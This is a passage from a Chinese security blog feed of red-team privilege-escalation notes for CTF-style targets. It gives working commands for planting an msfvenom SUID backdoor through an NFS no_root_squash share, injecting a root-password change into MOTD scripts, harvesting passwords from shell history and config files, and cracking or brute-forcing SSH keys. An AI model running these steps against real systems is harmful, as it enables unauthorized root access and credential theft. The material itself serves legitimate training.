bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 wes.py sysinfo.txt -i <span class="string">'Elevation of Privilege'</span> --exploits-only</span><br></pre></td></tr></table></figure><p>注:</p><p><code>-i 'Elevation of Privilege'</code>:只看提权漏洞(过滤掉远程执行、拒绝服务等)。</p><p><code>--exploits-only</code>:只显示那些<strong>在公网上已经公开了武器化 EXP</strong> 的漏洞。</p></li><li><p>阅读输出结果:</p><ul><li><p><strong>看 <code>Exploits</code> 字段:</strong> 如果这个字段为空,或者给的链接是个分析文章而不是代码,直接跳过!重点找那些链接里带有 <code>github</code> 并且提到有 <code>.exe</code> 或 <code>.ps1</code> 的。</p></li><li><p><strong>看 <code>CVE</code> 年份:</strong> 优先打最新年份的漏洞(比如 2022、2023),老漏洞可能因为环境原因打不通。</p></li></ul></li><li><p>配合searchsploit 来打</p></li></ol><h3 id="下载:"><a href="#下载:" class="headerlink" title="下载:"></a>下载:</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/bitsadmin/wesng.git</span><br></pre></td></tr></table></figure><h2 id="WinPEAS"><a href="#WinPEAS" class="headerlink" title="WinPEAS"></a>WinPEAS</h2><p><strong>Linux 对标:</strong> <code>Linpeas</code></p><p><strong>作用:</strong> 用于Windows 信息收集和本地枚举。它会扫描注册表、自动运行、服务权限、各种密码文件,并用颜色标记危险项。</p><h3 id="下载:-1"><a href="#下载:-1" class="headerlink" title="下载:"></a>下载:</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany.exe</span><br></pre></td></tr></table></figure><h3 id="如何使用:"><a href="#如何使用:" class="headerlink" title="如何使用:"></a>如何使用:</h3><p>断网比赛,你需要把 <code>winPEASany.exe</code> 或 <code>winPEASx64.exe</code> 传到靶机的 <code>C:\Windows\Temp</code> 目录下执行。 </p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">C:\<span class="title">Windows</span>\<span class="title">Temp</span>\<span class="title">winPEASany.exe</span> //普通搜索</span></span><br><span class="line"><span class="function"><span class="title">winPEASany.exe</span> <span class="title">quiet</span> <span class="title">cmd</span> <span class="title">fast</span> //快速搜索</span></span><br></pre></td></tr></table></figure><h3 id="输出分析:"><a href="#输出分析:" class="headerlink" title="输出分析:"></a>输出分析:</h3><p>红色且带有高亮底色的输出,通常就是直接提权点</p><p>我们需要<strong>重点看</strong>下面这些:</p><h4 id="用户权限与令牌-User-Privileges"><a href="#用户权限与令牌-User-Privileges" class="headerlink" title="用户权限与令牌 (User Privileges)"></a>用户权限与令牌 (User Privileges)</h4><ul><li><p><strong>关键词:</strong> <code>SeImpersonatePrivilege</code></p></li><li><p>如果你在服务器上看到这个特权开启(尤其是红色的),直接上“土豆家族”(PrintSpoofer 或 GodPotato)方法提权,成功率极高。</p></li></ul><h4 id="弱服务权限-Services-Information"><a href="#弱服务权限-Services-Information" class="headerlink" title="弱服务权限 (Services Information)"></a>弱服务权限 (Services Information)</h4><ul><li><p><strong>关键词:</strong> <code>Unquoted Service Paths</code> (未引用的服务路径) 或 <code>Service Permissions</code>。</p></li><li><p>服务器上跑着各种第三方服务。如果某个服务的路径没加引号,或者你对服务文件有写权限,这就是送分的提权点。</p></li></ul><h4 id="注册表凭据-Credentials-in-Registry"><a href="#注册表凭据-Credentials-in-Registry" class="headerlink" title="注册表凭据 (Credentials in Registry)"></a>注册表凭据 (Credentials in Registry)</h4><ul><li><p><strong>关键词:</strong> <code>AutoLogon</code>, <code>Putty</code>, <code>VNC</code>, <code>WinSCP</code>。</p></li><li><p>运维人员为了省事,经常把密码存在注册表里。WinPEAS 扫这一块非常快,如果有红字显示明文密码,直接提权就行了。</p></li></ul><h4 id="补丁情况-System-Information"><a href="#补丁情况-System-Information" class="headerlink" title="补丁情况 (System Information)"></a>补丁情况 (System Information)</h4><ul><li><p><strong>关键词:</strong> <code>Hotfixes</code>, <code>Kernel Vulnerabilities</code>。</p></li><li><p>这是最后没办法才用的招数。通过内核版本号去查 WES-NG,寻找类似 <code>CVE-2023-21768</code> 这种内核漏洞。</p></li></ul><h2 id="LOLBAS-Living-Off-The-Land-Binaries-and-Scripts"><a href="#LOLBAS-Living-Off-The-Land-Binaries-and-Scripts" class="headerlink" title="LOLBAS (Living Off The Land Binaries and Scripts)"></a>LOLBAS (Living Off The Land Binaries and Scripts)</h2><p><strong>Linux 对标:</strong> <code>GTFOBins</code></p><p><strong>作用:</strong> 记录了 Windows 系统自带的、有微软数字签名的合法程序,如何被黑客用来<strong>下载文件、执行恶意代码或绕过杀软</strong>的知识库。</p><h3 id="下载:-2"><a href="#下载:-2" class="headerlink" title="下载:"></a>下载:</h3><p>和 GTFOBins 类似,它是一个静态网站项目。如果要打线下赛,你必须把它扒下来离线查看。</p><h3 id="用法:"><a href="#用法:" class="headerlink" title="用法:"></a>用法:</h3><p>在左侧搜索框输入系统里常见的程序(如 <code>certutil</code>, <code>msiexec</code>, <code>bash</code>),它会告诉你如何利用这个程序去完成:执行、下载或绕过 UAC。</p>]]></content>
<summary type="html"><h1 id="什么是Windows提权"><a href="#什么是Windows提权" class="headerlink" title="什么是Windows提权"></a>什么是Windows提权</h1><p>和 Linux 类似,权限提升(Privilege esca</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Windows提权" scheme="http://example.com/categories/ISW/Windows%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="基础知识" scheme="http://example.com/tags/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
<category term="Windows" scheme="http://example.com/tags/Windows/"/>
</entry>
<entry>
<title>Linux提权9:sudo风暴_上 (红队笔记)</title>
<link href="http://example.com/2026/03/20/ISW/Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Linux%E6%8F%90%E6%9D%839_sudo%E9%A3%8E%E6%9A%B4_%E4%B8%8A/"/>
<id>http://example.com/2026/03/20/ISW/Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Linux%E6%8F%90%E6%9D%839_sudo%E9%A3%8E%E6%9A%B4_%E4%B8%8A/</id>
<published>2026-03-20T06:00:00.000Z</published>
<updated>2026-03-18T12:00:02.935Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>用sudo -l 看哪些命令可以不输入密码就可以用sudo</p><p>之后去GTFOBins 一个个查现成的payload就行了,不过这里的内容是打提权基础不可或缺的部分,如果以后想成为提权大师这里的payload是有必要好好学习一下的</p><p>不过鉴于我没时间写了,等以后有时间再写吧,绝对不是因为懒)</p>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>用sudo -l 看哪些命令可以不输入密码就可以用sudo</p>
<p>之后去GTFOBins 一个个查现成的payload就行了</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Linux提权" scheme="http://example.com/categories/ISW/Linux%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="Linux" scheme="http://example.com/tags/Linux/"/>
<category term="sudo基础" scheme="http://example.com/tags/sudo%E5%9F%BA%E7%A1%80/"/>
</entry>
<entry>
<title>Linux提权8:系统服务与底层内核漏洞 (红队笔记)</title>
<link href="http://example.com/2026/03/20/ISW/Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Linux%E6%8F%90%E6%9D%838_%E7%B3%BB%E7%BB%9F%E6%9C%8D%E5%8A%A1%E4%B8%8E%E5%BA%95%E5%B1%82%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E/"/>
<id>http://example.com/2026/03/20/ISW/Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Linux%E6%8F%90%E6%9D%838_%E7%B3%BB%E7%BB%9F%E6%9C%8D%E5%8A%A1%E4%B8%8E%E5%BA%95%E5%B1%82%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E/</id>
<published>2026-03-20T03:00:00.000Z</published>
<updated>2026-03-18T10:49:37.965Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>这是红队笔记提权精讲中的第六部分,也是最后一部分</p><p>本章进入提权的“深水区”。我们将探讨如何利用系统底层服务的配置失误,以及如何使用公开的 CVE 漏洞代码直接攻击 Linux 内核。</p><h1 id="实战:"><a href="#实战:" class="headerlink" title="实战:"></a>实战:</h1><h2 id="情况一:NFS-共享提权-Net-file-system"><a href="#情况一:NFS-共享提权-Net-file-system" class="headerlink" title="情况一:NFS 共享提权 (Net file system)"></a>情况一:NFS 共享提权 (Net file system)</h2><p><strong>利用场景</strong>:目标机器开启了 NFS (网络文件系统) 服务,且配置了极度危险的选项 <code>no_root_squash</code>。</p><p><strong>原理</strong>:默认情况下,NFS 客户端的 root 用户连接服务端时会被降权(Squash)为普通用户。但如果开启了 <code>no_root_squash</code>,<strong>客户端的 root 用户在挂载的共享目录中将拥有服务端的 root 权限</strong>。</p><p><strong>提权逻辑</strong>:在我的 <strong>攻击机</strong> 上以 root 身份挂载你的共享目录 -> 把我 <strong>攻击机</strong> 的 <code>/bin/bash</code> 拷贝进去并赋予 SUID -> 靶机本地运行该 bash。</p><p><strong>实战步骤:</strong></p><ol><li><strong>探测 NFS 配置</strong>:在靶机查看 <code>/etc/exports</code>,如果看到 <code>no_root_squash</code> 字样:例如 <code>/tmp *(rw,sync,no_root_squash,no_subtree_check)</code>就说明可以打NFS<br><img data-src="/images/ISW/Linux提权/8/NFS.png" alt="NFS"></li></ol><ol><li><p><strong>在攻击机挂载共享目录</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#先切换到root用户</span></span><br><span class="line"><span class="built_in">sudo</span> su</span><br><span class="line"><span class="built_in">mkdir</span> /tmp/nfs</span><br><span class="line">mount -o rw,vers=3 目标IP:/tmp /tmp/nfs</span><br></pre></td></tr></table></figure></li><li><p><strong>植入 SUID 后门</strong>:在攻击机上,将自己的恶意文件拷贝进去,并以 root 身份赋权:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p linux/x86/exec CMD=<span class="string">"/bin/bash -p"</span> -f elf -o /tmp/nfs/shell.elf</span><br><span class="line"><span class="built_in">chmod</span> +xs /tmp/nfs/shell.elf</span><br></pre></td></tr></table></figure></li><li><p><strong>回到靶机触发</strong>:进入靶机的 <code>/tmp</code> 目录,运行刚刚植入的后门:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /tmp</span><br><span class="line">./shell.elf</span><br></pre></td></tr></table></figure></li></ol><h2 id="情况二:利用-MOTD-机制提权"><a href="#情况二:利用-MOTD-机制提权" class="headerlink" title="情况二:利用 MOTD 机制提权"></a>情况二:利用 MOTD 机制提权</h2><p><strong>利用场景</strong>:MOTD (Message of The Day) 登录横幅脚本配置不当。</p><p><strong>实战操作</strong>:</p><ol><li><p><strong>寻找可写脚本</strong>:<code>find /etc/update-motd.d/ -writable</code></p></li><li><p><strong>注入命令</strong>:<code>echo "echo 'root:password123' | chpasswd" >> /etc/update-motd.d/00-header</code></p></li><li><p><strong>触发执行</strong>:再次通过 SSH 登录,脚本运行后 <code>su root</code> 即可。</p></li></ol><h2 id="情况三:底层内核漏洞提权-Kernel-Exploit"><a href="#情况三:底层内核漏洞提权-Kernel-Exploit" class="headerlink" title="情况三:底层内核漏洞提权 (Kernel Exploit)"></a>情况三:底层内核漏洞提权 (Kernel Exploit)</h2><p>当上述所有配置枚举都失败,且 <code>uname -a</code> 显示内核版本存在已知 CVE 漏洞时使用。</p><p>配合<strong>linux_exploit_suggester/linpeas</strong> + <strong>searchsploit</strong>来打</p><h3 id="常用的漏洞"><a href="#常用的漏洞" class="headerlink" title="常用的漏洞"></a>常用的漏洞</h3><ol><li><p><strong>Dirty COW (脏牛, CVE-2016-5195)</strong>:针对 2.6.22 < 4.8.3。</p></li><li><p><strong>PwnKit (CVE-2021-4034)</strong>:针对 <code>pkexec</code> 工具,稳定性极高。</p></li><li><p><strong>Dirty Pipe (脏管, CVE-2022-0847)</strong>:针对 5.8+ 内核。</p></li></ol><p>用法都在对应脚本里会给出</p>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>这是红队笔记提权精讲中的第六部分,也是最后一部分</p>
<p>本章进入提权的“深水区”。我们将探讨如何利用系统底层服务的配置失误,</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Linux提权" scheme="http://example.com/categories/ISW/Linux%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="Linux" scheme="http://example.com/tags/Linux/"/>
<category term="经典方法" scheme="http://example.com/tags/%E7%BB%8F%E5%85%B8%E6%96%B9%E6%B3%95/"/>
<category term="内核漏洞" scheme="http://example.com/tags/%E5%86%85%E6%A0%B8%E6%BC%8F%E6%B4%9E/"/>
</entry>
<entry>
<title>Linux提权7:信息泄露与敏感凭据 (红队笔记)</title>
<link href="http://example.com/2026/03/20/ISW/Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Linux%E6%8F%90%E6%9D%837_%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E4%B8%8E%E6%95%8F%E6%84%9F%E5%87%AD%E6%8D%AE/"/>
<id>http://example.com/2026/03/20/ISW/Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Linux%E6%8F%90%E6%9D%837_%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E4%B8%8E%E6%95%8F%E6%84%9F%E5%87%AD%E6%8D%AE/</id>
<published>2026-03-20T02:00:00.000Z</published>
<updated>2026-03-18T12:03:03.531Z</updated>
<content type="html"><![CDATA[<h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>这是红队笔记第五部分:信息泄露与敏感凭据</p><p><strong>核心逻辑</strong>:系统本身可能固若金汤,但“人”是会犯错的。管理员可能会为了方便而直接在命令行输密码,或者把备份文件随手乱扔。</p><p>这一章我们专注于如何通过“枚举”和“翻找”来拿到通往 root 的钥匙。</p><h1 id="实战:"><a href="#实战:" class="headerlink" title="实战:"></a>实战:</h1><h2 id="情况一:历史记录文件泄露提权-Bash-History"><a href="#情况一:历史记录文件泄露提权-Bash-History" class="headerlink" title="情况一:历史记录文件泄露提权 (Bash History)"></a>情况一:历史记录文件泄露提权 (Bash History)</h2><p><strong>利用场景</strong>:管理员在维护系统时,有时会偷懒直接在命令行里带上密码,或者在尝试登录数据库、远程服务器时输入了错误的命令。</p><p><strong>实战操作</strong>:拿到 Shell 后,第一时间检查当前用户及其他可读目录下的历史记录:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">history</span> <span class="comment"># 列出命令</span></span><br><span class="line"><span class="built_in">cat</span> ~/.bash_history</span><br><span class="line"><span class="built_in">cat</span> ~/.nano_history</span><br><span class="line"><span class="built_in">cat</span> ~/.viminfo</span><br></pre></td></tr></table></figure><ul><li><p><strong>重点搜索关键词</strong>: <code>grep -E "password|pass|pwd|admin|mysql|ssh" ~/.bash_history</code></p></li><li><p><strong>实例</strong>:你可能会发现这样一行:<code>mysql -u root -pMySecretPassword123</code>。你就拿到了数据库甚至可能是系统通用的 root 密码。</p></li></ul><h2 id="情况二:配置文件与备份文件提权"><a href="#情况二:配置文件与备份文件提权" class="headerlink" title="情况二:配置文件与备份文件提权"></a>情况二:配置文件与备份文件提权</h2><p><strong>利用场景</strong>:Web 网站(如 WordPress)的数据库连接文件、系统的备份压缩包(<code>.bak</code>, <code>.zip</code>, <code>.tar.gz</code>)经常包含明文凭据。</p><p><img data-src="/images/ISW/Linux提权/7/vpn.png" alt="vpn"></p><p>这里就是查看了vpn的配置文件找到关键信息</p><p>其余我们还可以通过下面方式去寻找:</p><ul><li>检查 Web 目录:</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">grep -i <span class="string">"password"</span> /var/www/html/config.php</span><br><span class="line">grep -i <span class="string">"db_pass"</span> /var/www/html/wp-config.php</span><br></pre></td></tr></table></figure><ul><li><strong>检查系统日志</strong>:有些程序员会将调试信息(包含密码)直接打入 <code>/var/log/</code> 下的自定义日志中。</li></ul><h2 id="情况三:SSH-私钥敏感信息提权"><a href="#情况三:SSH-私钥敏感信息提权" class="headerlink" title="情况三:SSH 私钥敏感信息提权"></a>情况三:SSH 私钥敏感信息提权</h2><p><strong>利用场景</strong>:你在某个用户的家目录下发现了一个隐藏文件夹 <code>.ssh</code>,并且里面竟然有一个 <code>id_rsa</code>(私钥)文件且<strong>你居然有读权限</strong>。</p><p>通常是rsa的私钥,读完之后尝试以root连接靶机</p><p><code>ssh -i id_rsa root@目标IP</code></p><p><img data-src="/images/ISW/Linux提权/7/ssh.png" alt="ssh"></p><p><strong>注意</strong>:很多时候你拿到了 <code>id_rsa</code>,但尝试登录时系统提示 <code>Enter passphrase for key 'id_rsa':</code>。这时需要用到 <code>ssh2john</code>。</p><ol><li><p><strong>将私钥转为 Hash</strong>:在你的 Kali 机器上执行(<code>ssh2john</code> 脚本通常位于 <code>/usr/share/john/</code> 下)</p></li><li><p><strong>使用 John 进行破解</strong></p></li><li><p><strong>获取明文并登录</strong>:John 跑出明文密码后,使用该密码配合私钥登录</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/usr/share/john/ssh2john.py id_rsa > ssh_hash.txt</span><br><span class="line">john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt</span><br><span class="line"><span class="built_in">chmod</span> 600 id_rsa</span><br><span class="line">ssh -i id_rsa root@目标IP</span><br></pre></td></tr></table></figure></li></ol><h2 id="情况四:可预测-PRNG-暴力破解-SSH-Debian-特色"><a href="#情况四:可预测-PRNG-暴力破解-SSH-Debian-特色" class="headerlink" title="情况四:可预测 PRNG 暴力破解 SSH (Debian 特色)"></a>情况四:可预测 PRNG 暴力破解 SSH (Debian 特色)</h2><p><strong>PRNG</strong> 全称是 <strong>Pseudo-Random Number Generator</strong>(伪随机数生成器)。</p><p><strong>利用场景</strong>:CVE-2008-0166。针对老旧 Debian/Ubuntu 系统,由于随机数种子空间太小,导致生成的 SSH 密钥一共只有 32,768 种可能。所以拿到一个公钥用穷举法就能拿到相对应的私钥</p><h3 id="判断能不能打:"><a href="#判断能不能打:" class="headerlink" title="判断能不能打:"></a>判断能不能打:</h3><p><strong>1.检查操作系统版本</strong></p><p>该漏洞主要影响 <strong>2006 年至 2008 年</strong> 间发布的系统:</p><ul><li><p><strong>Ubuntu</strong>: 7.04, 7.10, 8.04</p></li><li><p><strong>Debian</strong>: 4.0 (Etch)</p></li><li><p><strong>命令</strong>:<code>cat /etc/issue</code> 或 <code>lsb_release -a</code></p></li></ul><p><strong>2.检查 OpenSSL 版本</strong></p><p>受影响的 OpenSSL 版本区间非常固定:</p><ul><li><p><strong>版本号</strong>:<code>0.9.8c-1</code> 到 <code>0.9.8g-9</code></p></li><li><p><strong>命令</strong>:<code>openssl version</code></p></li></ul><h3 id="具体打法:"><a href="#具体打法:" class="headerlink" title="具体打法:"></a>具体打法:</h3><ol><li><p>去拿用户的公钥:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /root/.ssh/authorized_keys</span><br></pre></td></tr></table></figure></li><li><p>下载公钥私钥库</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 创建专用目录</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p /usr/share/wordlists/debian-ssh</span><br><span class="line"><span class="comment"># 2. 解压到该目录 </span></span><br><span class="line"><span class="built_in">sudo</span> tar -jxvf debian_ssh_rsa_2048_x86.tar.bz2 -C /usr/share/wordlists/debian-ssh/</span><br></pre></td></tr></table></figure></li><li><p><strong>寻找匹配的用户私钥</strong>:在你的字典目录里,使用 <code>grep</code> 搜索目标公钥的指纹或部分字符串:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">grep -lr <span class="string">"目标公钥字符串"</span> /usr/share/wordlists/debian-ssh/</span><br><span class="line"><span class="comment"># 如果搜到了,那个对应的文件名(去掉 .pub 后缀)就是对应的私钥</span></span><br></pre></td></tr></table></figure></li><li><p>搜到私钥就登录</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chmod</span> 600 /usr/share/wordlists/debian-ssh/某个私钥文件名</span><br><span class="line">ssh -i /usr/share/wordlists/debian-ssh/某个私钥文件名 root@目标IP</span><br></pre></td></tr></table></figure></li></ol><p>具体可以searchsploit prng随便找个脚本看具体步骤</p>]]></content>
<summary type="html"><h1 id="前言:"><a href="#前言:" class="headerlink" title="前言:"></a>前言:</h1><p>这是红队笔记第五部分:信息泄露与敏感凭据</p>
<p><strong>核心逻辑</strong>:系统本身可能固若金汤,但“人”是</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Linux提权" scheme="http://example.com/categories/ISW/Linux%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="Linux" scheme="http://example.com/tags/Linux/"/>
<category term="经典方法" scheme="http://example.com/tags/%E7%BB%8F%E5%85%B8%E6%96%B9%E6%B3%95/"/>
<category term="信息泄露" scheme="http://example.com/tags/%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2/"/>
</entry>
</feed>